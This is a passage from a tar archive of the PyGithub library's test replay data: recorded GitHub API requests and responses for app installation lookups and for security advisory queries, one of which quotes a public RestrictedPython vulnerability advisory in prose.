ithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":14088,"stargazers_count":6075,"watchers_count":6075,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1641,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":247,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1641,"open_issues":247,"watchers":6075,"default_branch":"master","permissions":{"admin":false,"maintain":false,"push":false,"triage":false,"pull":false},"temp_clone_token":"","organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1641,"subscribers_count":115} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testGetInstallationNotFound.txt0000644000175100001660000000303214756101563030020 0ustar00runnerdockerhttps GET api.github.com None /orgs/GithubApp-Test-Org-404/installation {'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} None 404 [('status', '404 NOT FOUND'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"message":"Not Found","documentation_url":"https://docs.github.com/rest/reference/apps#get-a-repository-installation-for-the-authenticated-app"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testGetInstallationWithExpiredJWT.txt0000644000175100001660000000307614756101563031115 0ustar00runnerdockerhttps GET api.github.com None /orgs/GithubApp-Test-Org/installation {'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} None 401 [('status', '401 UNAUTHORIZED'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', 'W/"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"message":"'Expiration time' claim ('exp') must be a numeric value representing the future time at which the assertion expires","documentation_url":"https://docs.github.com/rest"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testGetInstallations.txt0000644000175100001660000001123514756101563026532 0ustar00runnerdockerhttps GET api.github.com None /app/installations {'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} None 200 [('status', '200 OK'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] [{"id":30614487,"account":{"login":"GithubApp-Test-Org","id":116723333,"node_id":"O_kgDOBvUOhQ","avatar_url":"https://avatars.githubusercontent.com/u/116723333?v=4","gravatar_id":"","url":"https://api.github.com/users/GithubApp-Test-Org","html_url":"https://github.com/GithubApp-Test-Org","followers_url":"https://api.github.com/users/GithubApp-Test-Org/followers","following_url":"https://api.github.com/users/GithubApp-Test-Org/following{/other_user}","gists_url":"https://api.github.com/users/GithubApp-Test-Org/gists{/gist_id}","starred_url":"https://api.github.com/users/GithubApp-Test-Org/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GithubApp-Test-Org/subscriptions","organizations_url":"https://api.github.com/users/GithubApp-Test-Org/orgs","repos_url":"https://api.github.com/users/GithubApp-Test-Org/repos","events_url":"https://api.github.com/users/GithubApp-Test-Org/events{/privacy}","received_events_url":"https://api.github.com/users/GithubApp-Test-Org/received_events","type":"Organization","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614487/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/organizations/GithubApp-Test-Org/settings/installations/30614487","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":116723333,"target_type":"Organization","permissions":{"issues":"write","metadata":"read","administration":"write","organization_administration":"read"},"events":[],"created_at":"2022-10-26T11:15:21.000Z","updated_at":"2022-10-26T11:36:34.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null},{"id":30614431,"account":{"login":"ammarmallik","id":29196434,"node_id":"MDQ6VXNlcjI5MTk2NDM0","avatar_url":"https://avatars.githubusercontent.com/u/29196434?v=4","gravatar_id":"","url":"https://api.github.com/users/ammarmallik","html_url":"https://github.com/ammarmallik","followers_url":"https://api.github.com/users/ammarmallik/followers","following_url":"https://api.github.com/users/ammarmallik/following{/other_user}","gists_url":"https://api.github.com/users/ammarmallik/gists{/gist_id}","starred_url":"https://api.github.com/users/ammarmallik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ammarmallik/subscriptions","organizations_url":"https://api.github.com/users/ammarmallik/orgs","repos_url":"https://api.github.com/users/ammarmallik/repos","events_url":"https://api.github.com/users/ammarmallik/events{/privacy}","received_events_url":"https://api.github.com/users/ammarmallik/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614431/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/30614431","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":29196434,"target_type":"User","permissions":{"issues":"write","metadata":"read","administration":"write"},"events":[],"created_at":"2022-10-26T11:13:03.000Z","updated_at":"2022-10-26T11:13:03.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testGetOrgInstallation.txt0000644000175100001660000000615014756101563027017 0ustar00runnerdockerhttps GET api.github.com None /orgs/GithubApp-Test-Org/installation {'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} None 200 [('status', '200 OK'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"id":30614487,"account":{"login":"GithubApp-Test-Org","id":116723333,"node_id":"O_kgDOBvUOhQ","avatar_url":"https://avatars.githubusercontent.com/u/116723333?v=4","gravatar_id":"","url":"https://api.github.com/users/GithubApp-Test-Org","html_url":"https://github.com/GithubApp-Test-Org","followers_url":"https://api.github.com/users/GithubApp-Test-Org/followers","following_url":"https://api.github.com/users/GithubApp-Test-Org/following{/other_user}","gists_url":"https://api.github.com/users/GithubApp-Test-Org/gists{/gist_id}","starred_url":"https://api.github.com/users/GithubApp-Test-Org/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/GithubApp-Test-Org/subscriptions","organizations_url":"https://api.github.com/users/GithubApp-Test-Org/orgs","repos_url":"https://api.github.com/users/GithubApp-Test-Org/repos","events_url":"https://api.github.com/users/GithubApp-Test-Org/events{/privacy}","received_events_url":"https://api.github.com/users/GithubApp-Test-Org/received_events","type":"Organization","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614487/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/organizations/GithubApp-Test-Org/settings/installations/30614487","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":116723333,"target_type":"Organization","permissions":{"issues":"write","metadata":"read","administration":"write","organization_administration":"read"},"events":[],"created_at":"2022-10-26T11:15:21.000Z","updated_at":"2022-10-26T11:36:34.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testGetRepoInstallation.txt0000644000175100001660000000571114756101563027177 0ustar00runnerdockerhttps GET api.github.com None /repos/ammarmallik/test-runner/installation {'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} None 200 [('status', '200 OK'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"id":30614431,"account":{"login":"ammarmallik","id":29196434,"node_id":"MDQ6VXNlcjI5MTk2NDM0","avatar_url":"https://avatars.githubusercontent.com/u/29196434?v=4","gravatar_id":"","url":"https://api.github.com/users/ammarmallik","html_url":"https://github.com/ammarmallik","followers_url":"https://api.github.com/users/ammarmallik/followers","following_url":"https://api.github.com/users/ammarmallik/following{/other_user}","gists_url":"https://api.github.com/users/ammarmallik/gists{/gist_id}","starred_url":"https://api.github.com/users/ammarmallik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ammarmallik/subscriptions","organizations_url":"https://api.github.com/users/ammarmallik/orgs","repos_url":"https://api.github.com/users/ammarmallik/repos","events_url":"https://api.github.com/users/ammarmallik/events{/privacy}","received_events_url":"https://api.github.com/users/ammarmallik/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614431/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/30614431","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":29196434,"target_type":"User","permissions":{"issues":"write","metadata":"read","administration":"write"},"events":[],"created_at":"2022-10-26T11:13:03.000Z","updated_at":"2022-10-26T11:13:03.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GithubIntegration.testGetUserInstallation.txt0000644000175100001660000000567514756101563027221 0ustar00runnerdockerhttps GET api.github.com None /users/ammarmallik/installation {'Authorization': 'Bearer jwt_removed', 'User-Agent': 'PyGithub/Python', 'Accept': 'application/vnd.github.machine-man-preview+json'} None 200 [('status', '200 OK'), ('server', 'Github.com'), ('date', 'Mon, 24 Oct 2022 23:11:45 GMT'), ('content-type', 'application/json; charset=utf-8'), ('connection', 'keep-alive'), ('content-length', '1962'), ('etag', '"b11a1c9caabe35f1de0a13e597a3022d27d2bff0694c2ccb5a65edc3b4d18837"'), ('cache-control', 'public, max-age=60, s-maxage=60'), ('vary', 'Accept'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('access-control-allow-origin', '*'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('x-frame-options', 'deny'), ('x-content-type-options', 'nosniff'), ('x-xss-protection', '0'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('x-github-request-id', "E475:53DD:8B7A89E:11E38A79:63571BB0"), ('vary', 'Accept-Encoding, Accept, X-Requested-With'), ('content-security-policy', "default-src 'none'")] {"id":30614431,"account":{"login":"ammarmallik","id":29196434,"node_id":"MDQ6VXNlcjI5MTk2NDM0","avatar_url":"https://avatars.githubusercontent.com/u/29196434?v=4","gravatar_id":"","url":"https://api.github.com/users/ammarmallik","html_url":"https://github.com/ammarmallik","followers_url":"https://api.github.com/users/ammarmallik/followers","following_url":"https://api.github.com/users/ammarmallik/following{/other_user}","gists_url":"https://api.github.com/users/ammarmallik/gists{/gist_id}","starred_url":"https://api.github.com/users/ammarmallik/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ammarmallik/subscriptions","organizations_url":"https://api.github.com/users/ammarmallik/orgs","repos_url":"https://api.github.com/users/ammarmallik/repos","events_url":"https://api.github.com/users/ammarmallik/events{/privacy}","received_events_url":"https://api.github.com/users/ammarmallik/received_events","type":"User","site_admin":false},"repository_selection":"selected","access_tokens_url":"https://api.github.com/app/installations/30614431/access_tokens","repositories_url":"https://api.github.com/installation/repositories","html_url":"https://github.com/settings/installations/30614431","app_id":243473,"app_slug":"gh-actions-test-ammar","target_id":29196434,"target_type":"User","permissions":{"issues":"write","metadata":"read","administration":"write"},"events":[],"created_at":"2022-10-26T11:13:03.000Z","updated_at":"2022-10-26T11:13:03.000Z","single_file_name":null,"has_multiple_single_files":false,"single_file_paths":[],"suspended_by":null,"suspended_at":null} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GlobalAdvisory.testAttributes.txt0000644000175100001660000002465114756101563024675 0ustar00runnerdockerhttps GET api.github.com None /advisories/GHSA-wqc8-x2pr-7jqh {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Fri, 14 Feb 2025 14:12:48 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"d9c130f46b44061c0c9a672b4ad35fd8351dd0c9a2742cf8953b0e27263fd4ee"'), ('Last-Modified', 'Tue, 07 Nov 2023 05:05:13 GMT'), ('github-authentication-token-expiration', '2025-03-16 15:08:01 +0100'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'allows_permissionless_access=true'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1739545704'), ('X-RateLimit-Used', '9'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'DE9C:18898E:1491D81:15190EB:67AF4F5F')] {"ghsa_id":"GHSA-wqc8-x2pr-7jqh","cve_id":"CVE-2023-37271","url":"https://api.github.com/advisories/GHSA-wqc8-x2pr-7jqh","html_url":"https://github.com/advisories/GHSA-wqc8-x2pr-7jqh","summary":"RestrictedPython vulnerable to arbitrary code execution via stack frame sandbox escape","description":"### Impact\n\nRestrictedPython does not check access to stack frames and their attributes. Stack frames are accessible within at least generators and generator expressions, which are allowed inside RestrictedPython. An attacker with access to a RestrictedPython environment can write code that gets the current stack frame in a generator and then walk the stack all the way beyond the RestrictedPython invocation boundary, thus breaking out of the restricted scope allowing the call of unrestricted Python code and therefore potentially allowing arbitrary code execution in the Python interpreter.\n\nAll RestrictedPython deployments that allow untrusted users to write Python code in the RestrictedPython environment are at risk. In terms of Zope and Plone, this would mean deployments where the administrator allows untrusted users to create and/or edit objects of type `Script (Python)`, `DTML Method`, `DTML Document` or `Zope Page Template`. This is a non-default configuration and likely to be extremely rare.\n\n### Patches\n\nThe problem has been fixed in releases 5.3 and 6.1.\n\n### Workarounds\n\nThere is no workaround available. If you cannot upgrade to the latest release you should ensure the RestrictedPython environment is only available for trusted users.\n\n### References\n\n- [RestrictedPython security advisory GHSA-wqc8-x2pr-7jqh](https://github.com/zopefoundation/RestrictedPython/security/advisories/GHSA-wqc8-x2pr-7jqh)\n\n## For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in the [RestrictedPython issue tracker](https://github.com/zopefoundation/RestrictedPython/issues)\n- Email us at [security@plone.org](mailto:security@plone.org)\n\n## Credits\n\nThanks for analysing and reporting the go to:\n- Nakul Choudhary (Quasar0147 on GitHub)\n- despawningbone on GitHub\n- Robert Xiao (nneonneo on GitHub)","type":"reviewed","severity":"high","repository_advisory_url":"https://api.github.com/repos/zopefoundation/RestrictedPython/security-advisories/GHSA-wqc8-x2pr-7jqh","source_code_location":"https://github.com/zopefoundation/RestrictedPython","identifiers":[{"value":"GHSA-wqc8-x2pr-7jqh","type":"GHSA"},{"value":"CVE-2023-37271","type":"CVE"}],"references":["https://github.com/zopefoundation/RestrictedPython/security/advisories/GHSA-wqc8-x2pr-7jqh","https://github.com/zopefoundation/RestrictedPython/commit/c8eca66ae49081f0016d2e1f094c3d72095ef531","https://nvd.nist.gov/vuln/detail/CVE-2023-37271","https://github.com/pypa/advisory-database/tree/main/vulns/restrictedpython/PYSEC-2023-118.yaml","https://github.com/advisories/GHSA-wqc8-x2pr-7jqh"],"published_at":"2023-07-10T21:53:22Z","updated_at":"2023-11-07T05:05:13Z","github_reviewed_at":"2023-07-10T21:53:22Z","nvd_published_at":"2023-07-11T18:15:20Z","withdrawn_at":null,"vulnerabilities":[{"package":{"ecosystem":"pip","name":"RestrictedPython"},"vulnerable_version_range":"< 5.3","first_patched_version":"5.3","vulnerable_functions":[]},{"package":{"ecosystem":"pip","name":"RestrictedPython"},"vulnerable_version_range":">= 6.0a1.dev0, < 6.1","first_patched_version":"6.1","vulnerable_functions":[]},{"package":{"ecosystem":"pip","name":"restrictedpython"},"vulnerable_version_range":">= 0, < 5.3","first_patched_version":"5.3","vulnerable_functions":[]}],"cvss_severities":{"cvss_v3":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","score":8.4},"cvss_v4":{"vector_string":null,"score":0.0}},"cwes":[{"cwe_id":"CWE-913","name":"Improper Control of Dynamically-Managed Code Resources"}],"credits":[{"user":{"login":"loechel","id":1766708,"node_id":"MDQ6VXNlcjE3NjY3MDg=","avatar_url":"https://avatars.githubusercontent.com/u/1766708?v=4","gravatar_id":"","url":"https://api.github.com/users/loechel","html_url":"https://github.com/loechel","followers_url":"https://api.github.com/users/loechel/followers","following_url":"https://api.github.com/users/loechel/following{/other_user}","gists_url":"https://api.github.com/users/loechel/gists{/gist_id}","starred_url":"https://api.github.com/users/loechel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/loechel/subscriptions","organizations_url":"https://api.github.com/users/loechel/orgs","repos_url":"https://api.github.com/users/loechel/repos","events_url":"https://api.github.com/users/loechel/events{/privacy}","received_events_url":"https://api.github.com/users/loechel/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"remediation_developer"},{"user":{"login":"Quasar0147","id":102931302,"node_id":"U_kgDOBiKbZg","avatar_url":"https://avatars.githubusercontent.com/u/102931302?v=4","gravatar_id":"","url":"https://api.github.com/users/Quasar0147","html_url":"https://github.com/Quasar0147","followers_url":"https://api.github.com/users/Quasar0147/followers","following_url":"https://api.github.com/users/Quasar0147/following{/other_user}","gists_url":"https://api.github.com/users/Quasar0147/gists{/gist_id}","starred_url":"https://api.github.com/users/Quasar0147/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/Quasar0147/subscriptions","organizations_url":"https://api.github.com/users/Quasar0147/orgs","repos_url":"https://api.github.com/users/Quasar0147/repos","events_url":"https://api.github.com/users/Quasar0147/events{/privacy}","received_events_url":"https://api.github.com/users/Quasar0147/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"despawningbone","id":22096984,"node_id":"MDQ6VXNlcjIyMDk2OTg0","avatar_url":"https://avatars.githubusercontent.com/u/22096984?v=4","gravatar_id":"","url":"https://api.github.com/users/despawningbone","html_url":"https://github.com/despawningbone","followers_url":"https://api.github.com/users/despawningbone/followers","following_url":"https://api.github.com/users/despawningbone/following{/other_user}","gists_url":"https://api.github.com/users/despawningbone/gists{/gist_id}","starred_url":"https://api.github.com/users/despawningbone/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/despawningbone/subscriptions","organizations_url":"https://api.github.com/users/despawningbone/orgs","repos_url":"https://api.github.com/users/despawningbone/repos","events_url":"https://api.github.com/users/despawningbone/events{/privacy}","received_events_url":"https://api.github.com/users/despawningbone/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"reporter"},{"user":{"login":"dataflake","id":1215784,"node_id":"MDQ6VXNlcjEyMTU3ODQ=","avatar_url":"https://avatars.githubusercontent.com/u/1215784?v=4","gravatar_id":"","url":"https://api.github.com/users/dataflake","html_url":"https://github.com/dataflake","followers_url":"https://api.github.com/users/dataflake/followers","following_url":"https://api.github.com/users/dataflake/following{/other_user}","gists_url":"https://api.github.com/users/dataflake/gists{/gist_id}","starred_url":"https://api.github.com/users/dataflake/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/dataflake/subscriptions","organizations_url":"https://api.github.com/users/dataflake/orgs","repos_url":"https://api.github.com/users/dataflake/repos","events_url":"https://api.github.com/users/dataflake/events{/privacy}","received_events_url":"https://api.github.com/users/dataflake/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"coordinator"},{"user":{"login":"nneonneo","id":75449,"node_id":"MDQ6VXNlcjc1NDQ5","avatar_url":"https://avatars.githubusercontent.com/u/75449?v=4","gravatar_id":"","url":"https://api.github.com/users/nneonneo","html_url":"https://github.com/nneonneo","followers_url":"https://api.github.com/users/nneonneo/followers","following_url":"https://api.github.com/users/nneonneo/following{/other_user}","gists_url":"https://api.github.com/users/nneonneo/gists{/gist_id}","starred_url":"https://api.github.com/users/nneonneo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nneonneo/subscriptions","organizations_url":"https://api.github.com/users/nneonneo/orgs","repos_url":"https://api.github.com/users/nneonneo/repos","events_url":"https://api.github.com/users/nneonneo/events{/privacy}","received_events_url":"https://api.github.com/users/nneonneo/received_events","type":"User","user_view_type":"public","site_admin":false},"type":"other"}],"cvss":{"vector_string":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","score":8.4},"epss":{"percentage":0.00156,"percentile":0.52841}} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/GlobalAdvisory.testNewlyReleased.txt0000644000175100001660000000637314756101563025313 0ustar00runnerdockerhttps GET api.github.com None /advisories/GHSA-cx3j-qqxj-9597 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 11 Aug 2023 20:52:33 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e32239d940bc2b370ba81f10e8e3002739d5132adea1caa84148b98475fe7d4e"'), ('Last-Modified', 'Fri, 11 Aug 2023 18:57:54 GMT'), ('X-OAuth-Scopes', 'gist, read:org, repo'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2023-08-25 20:47:49 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), 